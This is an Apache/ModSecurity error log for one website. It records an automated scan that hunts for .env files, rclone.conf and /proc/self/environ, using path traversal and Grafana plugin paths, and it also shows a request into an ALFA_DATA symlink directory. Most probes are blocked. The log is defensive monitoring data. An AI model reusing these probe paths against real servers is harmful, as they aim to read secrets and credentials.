[Sun Oct 25 11:55:10.926713 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48128] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4mXrhaAozp4xXC6PB6EAAAAAg"]
[Sun Oct 25 11:55:10.927315 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48128] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4mXrhaAozp4xXC6PB6EAAAAAg"]
[Sun Oct 25 11:55:10.927777 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48128] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4mXrhaAozp4xXC6PB6EAAAAAg"]
[Sun Oct 25 11:55:10.933201 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4mXszKV4PiShTe6l2g6gAAACI"]
[Sun Oct 25 11:55:10.933372 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4mXszKV4PiShTe6l2g6gAAACI"]
[Sun Oct 25 11:55:10.933627 2026] [security2:error] [pid 2855816:tid 2855816] [client 35.198.57.29:48086] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4mXszKV4PiShTe6l2g6gAAACI"]
[Sun Oct 25 11:55:10.934998 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4mXjxOmpmOl2xtX8jakwAAAB8"]
[Sun Oct 25 11:55:10.935411 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4mXjxOmpmOl2xtX8jakwAAAB8"]
[Sun Oct 25 11:55:10.935501 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4mXjny6hllpa988e1vDQAAAAI"]
[Sun Oct 25 11:55:10.935683 2026] [security2:error] [pid 2855813:tid 2855813] [client 35.198.57.29:48114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4mXjxOmpmOl2xtX8jakwAAAB8"]
[Sun Oct 25 11:55:10.935894 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4mXjny6hllpa988e1vDQAAAAI"]
[Sun Oct 25 11:55:10.936226 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4mXjny6hllpa988e1vDQAAAAI"]
[Sun Oct 25 11:55:11.053302 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4mX9C9X1saEIOersrHPwAAABY"]
[Sun Oct 25 11:55:11.053964 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4mX9C9X1saEIOersrHPwAAABY"]
[Sun Oct 25 11:55:11.054392 2026] [security2:error] [pid 2855805:tid 2855805] [client 35.198.57.29:48152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4mX9C9X1saEIOersrHPwAAABY"]
[Sun Oct 25 11:55:11.140797 2026] [core:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48128] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Sun Oct 25 11:55:11.143074 2026] [core:error] [pid 2858936:tid 2858936] [client 35.198.57.29:48190] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/.env)
[Sun Oct 25 11:55:11.161056 2026] [authz_core:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 11:55:12.437520 2026] [core:error] [pid 2855811:tid 2855811] [client 35.198.57.29:48174] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Sun Oct 25 11:55:12.456872 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4mYDny6hllpa988e1vDwAAAAI"]
[Sun Oct 25 11:55:12.457128 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4mYDny6hllpa988e1vDwAAAAI"]
[Sun Oct 25 11:55:12.457396 2026] [security2:error] [pid 2855792:tid 2855792] [client 35.198.57.29:48092] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4mYDny6hllpa988e1vDwAAAAI"]
[Sun Oct 25 11:55:12.610351 2026] [security2:error] [pid 2855803:tid 2855803] [client 35.198.57.29:48164] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at4mYF9_xErUkx7sxeSd4AAAABQ"]
[Sun Oct 25 11:55:12.610439 2026] [security2:error] [pid 2855803:tid 2855803] [client 35.198.57.29:48164] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at4mYF9_xErUkx7sxeSd4AAAABQ"]
[Sun Oct 25 11:55:12.610519 2026] [security2:error] [pid 2855803:tid 2855803] [client 35.198.57.29:48164] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at4mYF9_xErUkx7sxeSd4AAAABQ"]
[Sun Oct 25 11:55:12.611038 2026] [security2:error] [pid 2855803:tid 2855803] [client 35.198.57.29:48164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at4mYF9_xErUkx7sxeSd4AAAABQ"]
[Sun Oct 25 11:55:12.611310 2026] [security2:error] [pid 2855803:tid 2855803] [client 35.198.57.29:48164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/_image"] [unique_id "at4mYF9_xErUkx7sxeSd4AAAABQ"]
[Sun Oct 25 11:55:12.676175 2026] [authz_core:error] [pid 2855809:tid 2855809] [client 35.198.57.29:48140] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 11:55:12.767555 2026] [core:error] [pid 2858944:tid 2858944] [client 35.198.57.29:48266] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Sun Oct 25 11:55:12.774921 2026] [core:error] [pid 2858946:tid 2858946] [client 35.198.57.29:48262] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Sun Oct 25 11:55:12.855715 2026] [security2:error] [pid 2858945:tid 2858945] [client 35.198.57.29:48278] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4mYIw3cddgXUOriFTVDQAAAAc"]
[Sun Oct 25 11:55:12.856062 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4mYLhaAozp4xXC6PB6EgAAAAg"]
[Sun Oct 25 11:55:12.856134 2026] [security2:error] [pid 2858945:tid 2858945] [client 35.198.57.29:48278] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4mYIw3cddgXUOriFTVDQAAAAc"]
[Sun Oct 25 11:55:12.856308 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4mYLhaAozp4xXC6PB6EgAAAAg"]
[Sun Oct 25 11:55:12.856629 2026] [security2:error] [pid 2858945:tid 2858945] [client 35.198.57.29:48278] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4mYIw3cddgXUOriFTVDQAAAAc"]
[Sun Oct 25 11:55:12.856656 2026] [security2:error] [pid 2855797:tid 2855797] [client 35.198.57.29:48244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4mYLhaAozp4xXC6PB6EgAAAAg"]
[Sun Oct 25 11:55:12.858300 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4mYBUSNe6FSAQsg7tT2gAAABs"]
[Sun Oct 25 11:55:12.858558 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4mYBUSNe6FSAQsg7tT2gAAABs"]
[Sun Oct 25 11:55:12.858861 2026] [security2:error] [pid 2853395:tid 2853395] [client 35.198.57.29:48104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4mYBUSNe6FSAQsg7tT2gAAABs"]
[Sun Oct 25 11:55:12.864640 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4mYJa7jgKKz5LnrbxLDgAAAAQ"]
[Sun Oct 25 11:55:12.864774 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4mYJa7jgKKz5LnrbxLDgAAAAQ"]
[Sun Oct 25 11:55:12.865005 2026] [security2:error] [pid 2855794:tid 2855794] [client 35.198.57.29:48186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4mYJa7jgKKz5LnrbxLDgAAAAQ"]
[Sun Oct 25 11:55:13.473801 2026] [core:error] [pid 2858955:tid 2858955] (13)Permission denied: [client 85.208.96.206:61016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/object_size
[Sun Oct 25 11:55:14.456704 2026] [security2:error] [pid 2858949:tid 2858949] [client 35.198.57.29:48298] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4mYsLUxsa_IUcL6-YFBAAAAAs"]
